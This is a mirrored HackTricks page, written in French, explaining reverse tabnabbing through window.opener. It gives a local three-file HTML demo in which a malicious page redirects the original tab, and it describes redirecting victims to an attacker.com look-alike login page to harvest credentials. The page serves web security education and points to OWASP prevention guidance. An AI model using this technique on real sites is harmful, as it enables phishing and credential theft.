mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
82 lines
4.5 KiB
Markdown
82 lines
4.5 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
# Description
|
|
|
|
Dans une situation où un **attacker** peut **controler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliquée par une victime, l'**attacker** **dirige** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site de l'attaquant, ce **site web** **malveillant** pourra **controler** la **page** **originale** via l'objet javascript **`window.opener`**.\
|
|
Si la page n'a pas **`rel="opener"` mais contient `target="_blank"` et n'a pas non plus `rel="noopener"`**, elle peut également être vulnérable.
|
|
|
|
Une manière classique d'abuser de ce comportement serait de **changer la localisation du web original** via `window.opener.location = https://attacker.com/victim.html` vers un web contrôlé par l'attaquant qui **ressemble à l'original**, afin qu'il puisse **imiter** le **formulaire** de **connexion** du site web original et demander des identifiants à l'utilisateur.
|
|
|
|
Cependant, notez qu'étant donné que l'**attacker peut maintenant contrôler l'objet window du site web original**, il peut en abuser de d'autres manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant des événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
|
|
|
|
# Overview
|
|
|
|
## With back link
|
|
|
|
Lien entre les pages parent et enfant lorsque l'attribut de prévention n'est pas utilisé :
|
|
|
|

|
|
|
|
## Without back link
|
|
|
|
Lien entre les pages parent et enfant lorsque l'attribut de prévention est utilisé :
|
|
|
|

|
|
|
|
## Examples <a href="#examples" id="examples"></a>
|
|
|
|
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
|
|
Ensuite, **accédez** à `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL** du **site web** **original** **change**.
|
|
```markup:vulnerable.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>Victim Site</h1>
|
|
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
```markup:malicious.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<script>
|
|
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
```markup:malicious_redir.html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>New Malicious Site</h1>
|
|
</body>
|
|
</html>
|
|
```
|
|
## Propriétés accessibles <a href="#accessible-properties" id="accessible-properties"></a>
|
|
|
|
Dans le scénario où un accès **cross-origin** se produit (accès à travers différents domaines), les propriétés de l'instance de la classe JavaScript **window**, référencées par l'objet JavaScript **opener**, auxquelles un site malveillant peut accéder sont limitées aux suivantes :
|
|
|
|
- **`opener.closed`** : Cette propriété est utilisée pour déterminer si une fenêtre a été fermée, renvoyant une valeur booléenne.
|
|
- **`opener.frames`** : Cette propriété fournit l'accès à tous les éléments iframe dans la fenêtre actuelle.
|
|
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
|
|
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue par cette propriété.
|
|
- **`opener.parent`** : Cette propriété renvoie la fenêtre parente de la fenêtre actuelle.
|
|
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
|
|
- **`opener.top`** : Cette propriété renvoie la fenêtre de navigateur la plus haute.
|
|
|
|
Cependant, dans les cas où les domaines sont identiques, le site malveillant a accès à toutes les propriétés exposées par la référence d'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
|
|
|
# Prévention
|
|
|
|
Les informations de prévention sont documentées dans le [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
|
|
|
|
## Références
|
|
|
|
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|